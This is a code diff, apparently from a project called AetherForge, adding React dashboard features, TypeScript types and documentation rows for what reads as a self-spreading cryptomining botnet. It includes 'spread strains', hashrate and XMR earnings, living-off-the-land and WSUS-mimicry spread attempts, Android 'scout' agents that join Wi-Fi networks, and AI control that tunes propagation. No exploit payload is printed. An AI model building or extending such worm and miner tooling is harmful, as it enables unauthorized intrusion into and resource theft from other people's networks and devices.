setTimelineBranches(p.branches);
|
||||
}
|
||||
if (p.mermaid) {
|
||||
setMermaidSrc(mergeMermaidStyles(p.mermaid));
|
||||
}
|
||||
if (p.event === 'fork') {
|
||||
setTimelineNotice(`Ghost branches spawned (${p.branches?.filter((b) => b.is_ghost).length ?? 0})`);
|
||||
} else if (p.event === 'branch_won') {
|
||||
setTimelineNotice(`Branch won: ${p.branch?.persona ?? 'unknown'} — mining linked`);
|
||||
} else if (p.event === 'merge') {
|
||||
setTimelineNotice(`Merged ${p.branch?.persona ?? 'winner'} into canonical timeline`);
|
||||
if (p.branch?.persona) setMergedPersona(p.branch.persona);
|
||||
}
|
||||
}, [latestMessage, sessionID]);
|
||||
|
||||
// Stop polling and auto-end timer on unmount.
|
||||
useEffect(() => () => {
|
||||
if (pollRef.current) clearInterval(pollRef.current);
|
||||
@@ -172,6 +317,7 @@ export default function PathTracerPage() {
|
||||
if (status.spread_routes?.length) {
|
||||
setSpreadRoutes(status.spread_routes);
|
||||
}
|
||||
applyTimelineStatus(status);
|
||||
if (status.error) {
|
||||
setError(status.error);
|
||||
clearInterval(pollRef.current!);
|
||||
@@ -213,9 +359,59 @@ export default function PathTracerPage() {
|
||||
setQR(null);
|
||||
setSelected([]);
|
||||
setSpreadRoutes([]);
|
||||
setTimelineBranches([]);
|
||||
setMermaidSrc('');
|
||||
setMergedPersona('');
|
||||
setTimelineNotice('');
|
||||
setError('');
|
||||
}, [sessionID]);
|
||||
|
||||
const handleForkAtHop = useCallback(async (hopIndex: number) => {
|
||||
if (!sessionID || forkBusyHop !== null) return;
|
||||
setForkBusyHop(hopIndex);
|
||||
setTimelineNotice('');
|
||||
try {
|
||||
const res = await api.forkTraceTimeline(sessionID, hopIndex);
|
||||
if (res.branches?.length) {
|
||||
setTimelineBranches((prev) => {
|
||||
const ids = new Set(prev.map((b) => b.id));
|
||||
const merged = [...prev];
|
||||
for (const b of res.branches) {
|
||||
if (!ids.has(b.id)) merged.push(b);
|
||||
}
|
||||
return merged;
|
||||
});
|
||||
}
|
||||
if (res.mermaid) setMermaidSrc(mergeMermaidStyles(res.mermaid));
|
||||
setTimelineNotice(`Forked at hop ${hopIndex + 1} — ${res.branches?.length ?? 0} ghost branches exploring`);
|
||||
} catch (e: unknown) {
|
||||
setError(e instanceof Error ? e.message : 'Fork failed');
|
||||
} finally {
|
||||
setForkBusyHop(null);
|
||||
}
|
||||
}, [sessionID, forkBusyHop]);
|
||||
|
||||
const handleMergeBranch = useCallback(async (branchId: string) => {
|
||||
if (!sessionID || mergeBusy) return;
|
||||
setMergeBusy(true);
|
||||
try {
|
||||
const res = await api.mergeTraceTimeline(sessionID, branchId);
|
||||
if (res.branches?.length) setTimelineBranches(res.branches);
|
||||
if (res.mermaid) setMermaidSrc(mergeMermaidStyles(res.mermaid));
|
||||
if (res.merged_persona) setMergedPersona(res.merged_persona);
|
||||
setTimelineNotice(`Merged ${res.merged_persona} (${res.merged_spread_lane ?? 'default lane'})`);
|
||||
} catch (e: unknown) {
|
||||
setError(e instanceof Error ? e.message : 'Merge failed');
|
||||
} finally {
|
||||
setMergeBusy(false);
|
||||
}
|
||||
}, [sessionID, mergeBusy]);
|
||||
|
||||
const mergeCandidate = useMemo(
|
||||
() => pickMergeCandidate(timelineBranches),
|
||||
[timelineBranches],
|
||||
);
|
||||
|
||||
// Auto-delete the session 10 seconds after an error, with a visible countdown.
|
||||
useEffect(() => {
|
||||
if (!error || !sessionID) return;
|
||||
@@ -258,6 +454,13 @@ export default function PathTracerPage() {
|
||||
subtitle="Build an on-demand multi-hop WireGuard VPN — select up to 3 agents, click TRACE."
|
||||
/>
|
||||
|
||||
{graftNoteVisible && (
|
||||
<p className="pt-hint pt-graft-note">
|
||||
Genealogy grafting is active (Fleet AI + fleet roles) — court <code>spread_graft</code> splices
|
||||
winning strains without re-spreading the target; tier order applies on the agent's next spread.
|
||||
</p>
|
||||
)}
|
||||
|
||||
{error && (
|
||||
<div className="pt-error-banner" role="alert">
|
||||
<strong>⚠ Session Error</strong>
|
||||
@@ -357,6 +560,20 @@ export default function PathTracerPage() {
|
||||
{agent?.name ?? id.slice(0, 8)}
|
||||
</span>
|
||||
{hop && <HopStatusBadge status={hop.status} />}
|
||||
{allHopsReady && sessionID && (
|
||||
<button
|
||||
type="button"
|
||||
className="pt-btn pt-btn-ghost pt-btn-sm pt-fork-btn"
|
||||
disabled={forkBusyHop !== null}
|
||||
onClick={(e) => {
|
||||
e.stopPropagation();
|
||||
handleForkAtHop(i);
|
||||
}}
|
||||
title={`Fork onion timeline at hop ${i + 1}`}
|
||||
>
|
||||
{forkBusyHop === i ? '…' : '⑂ Fork'}
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
{hop?.external_ip && (
|
||||
<div className="pt-hop-meta">
|
||||
@@ -421,6 +638,44 @@ export default function PathTracerPage() {
|
||||
{allHopsReady && (
|
||||
<div className="pt-info-banner">
|
||||
✓ All hops ready — tunnel is active.
|
||||
{mergedPersona && (
|
||||
<span style={{ marginLeft: '0.5rem', opacity: 0.85 }}>
|
||||
· merged persona: <strong>{mergedPersona}</strong>
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{(timelineBranches.some((b) => b.is_ghost) || mermaidSrc) && (
|
||||
<div className="pt-timeline-panel">
|
||||
<div className="pt-chain-title">
|
||||
Onion Timeline <HelpTip field="pt_onion_timeline" />
|
||||
</div>
|
||||
{timelineNotice && (
|
||||
<div className="pt-timeline-notice">{timelineNotice}</div>
|
||||
)}
|
||||
<TimelineBranchTree
|
||||
branches={timelineBranches}
|
||||
hopCount={hops.length}
|
||||
onMerge={handleMergeBranch}
|
||||
mergeBusy={mergeBusy}
|
||||
/>
|
||||
{mergeCandidate && mergeCandidate.status === 'won' && (
|
||||
<button
|
||||
type="button"
|
||||
className="pt-btn pt-btn-primary"
|
||||
disabled={mergeBusy}
|
||||
onClick={() => handleMergeBranch(mergeCandidate.id)}
|
||||
>
|
||||
Merge best branch ({mergeCandidate.persona})
|
||||
</button>
|
||||
)}
|
||||
{mermaidSrc && (
|
||||
<details className="pt-mermaid-details">
|
||||
<summary>Mermaid branch graph</summary>
|
||||
<pre className="pt-mermaid-src" data-testid="pt-mermaid-src">{mermaidSrc}</pre>
|
||||
</details>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
@@ -439,6 +694,10 @@ export default function PathTracerPage() {
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{autopsySubnet && (
|
||||
<SubnetAutopsyCard subnet={autopsySubnet} compact />
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
@@ -118,11 +118,43 @@ export interface Agent {
|
||||
parent_agent_id?: string;
|
||||
spread_generation?: number;
|
||||
spread_strain?: string;
|
||||
graft_source_strain?: string;
|
||||
graft_tier?: string;
|
||||
graft_approved_at?: string;
|
||||
|
||||
/** Cloned fleet phenotype from a sibling with the same host fingerprint. */
|
||||
inherited_phenotype?: InheritedPhenotype;
|
||||
}
|
||||
|
||||
/** Light gamification card for a winning spread tree lineage. */
|
||||
export interface StrainCard {
|
||||
id: string;
|
||||
root_agent_id: string;
|
||||
source_agent_id: string;
|
||||
source_agent_name: string;
|
||||
spread_strain: string;
|
||||
spread_lane: string;
|
||||
persona: string;
|
||||
parents: StrainCardParent[];
|
||||
wins: string[];
|
||||
losses: string[];
|
||||
subnets: string[];
|
||||
erasure_recovery_rate: number;
|
||||
peak_hashrate: number;
|
||||
tier_order: string[];
|
||||
tree_size: number;
|
||||
created_at?: string;
|
||||
updated_at?: string;
|
||||
}
|
||||
|
||||
export interface StrainCardParent {
|
||||
agent_id: string;
|
||||
agent_name?: string;
|
||||
join_lane?: string;
|
||||
spread_lane?: string;
|
||||
generation?: number;
|
||||
}
|
||||
|
||||
export interface InheritedPhenotype {
|
||||
source_agent_name: string;
|
||||
fingerprint?: string;
|
||||
@@ -482,6 +514,24 @@ export interface AIDecisionRecord {
|
||||
judge_verdict?: string;
|
||||
}
|
||||
|
||||
/** Seer LLM stream event — GET /api/v1/seer/stream */
|
||||
export interface SeerEventRecord {
|
||||
id: number;
|
||||
event_type: string;
|
||||
agent_id?: string;
|
||||
payload: unknown;
|
||||
ts?: string;
|
||||
}
|
||||
|
||||
/** Seer persisted AI memory note */
|
||||
export interface SeerNoteRecord {
|
||||
id: number;
|
||||
agent_id?: string;
|
||||
note: string;
|
||||
source?: string;
|
||||
ts?: string;
|
||||
}
|
||||
|
||||
export interface EarningsEstimate {
|
||||
hashrate: number;
|
||||
xmr_per_day: number;
|
||||
@@ -697,6 +747,38 @@ export interface SpreadRouteRecommendation {
|
||||
erasure_lanes_enabled?: boolean;
|
||||
}
|
||||
|
||||
export interface SubnetAutopsyAttempt {
|
||||
agent_id?: string;
|
||||
agent_name?: string;
|
||||
tier: string;
|
||||
ok: boolean;
|
||||
error?: string;
|
||||
duration_ms?: number;
|
||||
phase?: string;
|
||||
}
|
||||
|
||||
export interface SubnetAutopsyPacket {
|
||||
prefix: string;
|
||||
triggered_at: string;
|
||||
fail_count: number;
|
||||
paused_until?: string;
|
||||
lotl_attempts: SubnetAutopsyAttempt[];
|
||||
wsus_mimic: {
|
||||
format_mimic_enabled: boolean;
|
||||
cache_peer_lane: string;
|
||||
recent_join_lane?: string;
|
||||
};
|
||||
persona: string;
|
||||
erasure_fallback: {
|
||||
erasure_lanes_enabled: boolean;
|
||||
available_as_fallback: boolean;
|
||||
};
|
||||
gossip_whispers: { tier: string; condition: string; reason?: string }[];
|
||||
failure_atlas?: string;
|
||||
cause_of_death: string;
|
||||
vaccination_lane?: SpreadRouteRecommendation;
|
||||
}
|
||||
|
||||
export interface ServiceGraphEntry {
|
||||
service_name: string;
|
||||
port?: number;
|
||||
|
||||
@@ -64,6 +64,7 @@ Windows dashboard only; no in-process cloudflared. Genealogy fields are **teleme
|
||||
| **BGP-style spread router** | `server/internal/spreadrouter/`; Path Tracer + deploy plan `spread_route_hint` | `go test ./internal/spreadrouter/... -count=1`; `go test ./internal/api/... -run SpreadRoute -count=1` |
|
||||
| **Erasure-coded multi-lane spread (foundation)** | Server `internal/erasure/` RS 4+2 encode + `erasure_plan` on deploy plans; agent `deploy/erasure_staging.go` k-of-n reassembly fallback; Calibrate `server.erasure_lanes_enabled` + Path Tracer `RS lanes` hint | `go test ./internal/erasure/... -count=1`; `go test ./internal/api/... -run Erasure -count=1`; `go test ./deploy/... -run Erasure -count=1`; `go test ./config/... ./client/... -run Erasure -count=1` |
|
||||
| **Spread genealogy watermark** | Forge `-ldflags` + env overrides; auth/stats JSON only | `go test ./config/... -run Genealogy -count=1`; `go test ./internal/builder/... -run Genealogy -count=1`; `go test ./internal/api/... -run SpreadGenealogy -count=1` |
|
||||
| **Genealogy grafting** | Court `spread_graft` + L4 + hashrate gate; `POST /api/v1/fleet/graft`; auth `graft_policy` push; agent applies tier order on next spread; zero config when `ai_control_enabled` + `fleet_roles_enabled` | `go test ./internal/strategy/... -run Graft -count=1`; `go test ./internal/api/... -run FleetGraft -count=1`; `go test ./client/... -run GraftPolicy -count=1`; Vitest `AccessDepthPanel.graft.test.tsx`, `PathTracerPage` graft note |
|
||||
| **Court retry + L4 elevation** | `server/internal/ai/court_commands.go`, scheduler `ensureCourtRetryClearance` | `go test ./internal/ai/... -run CourtRetry -count=1` |
|
||||
| **Hashrate + subnet spread gates** | Agent `deploy/hashrate_gate.go`; server `internal/db/subnet_spread_pause.go`, `internal/atlas/subnet_immune.go` | `go test ./deploy/... -run HashrateGate -count=1`; `go test ./internal/db/... ./internal/atlas/... -run Subnet -count=1` |
|
||||
| **APK scout mode** | Forge `scout_mode` / `ApkMode`; agent `client/scout_mode.go`; builder `build_apk.go` | `go test ./client/... -run Scout -count=1`; `go test ./internal/builder/... -run Apk -count=1`; `go test ./internal/api/... -run Scout -count=1` |
|
||||
@@ -258,6 +259,7 @@ cd agent && go test ./client/... -run "Beacon|HandleMessage|WS" -count=1
|
||||
| Scout discover skips staging | `agent/deploy/scout_discover_test.go` | 2 |
|
||||
| Scout remote action gates | `agent/client/scout_mode_test.go` | 2 |
|
||||
| Scout phenotype publish | `server/internal/api/scout_phenotype_test.go` | 1 |
|
||||
| Scout constellation venues (SSID → persona pack) | `server/internal/ai/scout_constellation_test.go`, `server/internal/api/scout_constellation_test.go`, `agent/client/scout_constellation_test.go`, `agent/deploy/scout_wifi_test.go`, `server/web/src/help/scoutBiomeWeather.test.ts` | 1 |
|
||||
|
||||
### Fleet intelligence (2026-06-07 — phenotype, atlas, court, clearance)
|
||||
|
||||
@@ -764,7 +766,7 @@ Optional probe env vars for Access Depth (`environment_probes`):
|
||||
- `AETHERFORGE_BATTERY_OK=1`
|
||||
- `AETHERFORGE_FOREGROUND_SERVICE=1`
|
||||
|
||||
Forge may also bake `ApkMode` and `ScoutMode` (`-ldflags` / builder preset) so registration reports `platform=android` without runtime env. **Scout mode** (`scout_mode: true`) keeps mining off, runs `discover_and_join` + `service_graph` only, pushes phenotype via `scout_report`, and never stages spread payloads.
|
||||
Forge may also bake `ApkMode` and `ScoutMode` (`-ldflags` / builder preset) so registration reports `platform=android` without runtime env. **Scout mode** (`scout_mode: true`) keeps mining off, runs `discover_and_join` + `service_graph` only, pushes phenotype via `scout_report`, and never stages spread payloads. **Scout constellation mode** (zero config): 3+ `scout_report` hits on the same SSID within 10 minutes form a venue constellation; server infers `airport`/`campus`/`retail`/`unknown` and pushes venue persona packs via `spread_policy` + `policy_update`. APK scouts send `ssid` from `AETHERFORGE_WIFI_SSID`; Emberwake/dashboard weather-map merges active scout biomes.
|
||||
|
||||
Persona spread temperament (`server.ai_persona`) maps aggressive/silent/passive/persuasive/balanced to default spread tier order hints. When `ai_control_enabled` is on, auth and `policy_update` push `spread_temperament` (adaptive_strategy shape) and `FleetAISnapshot` merges it for the scheduler — AI shapes propagation personality, not just restarts.
|
||||
|
||||
|
||||
Reference in New Issue
Block a user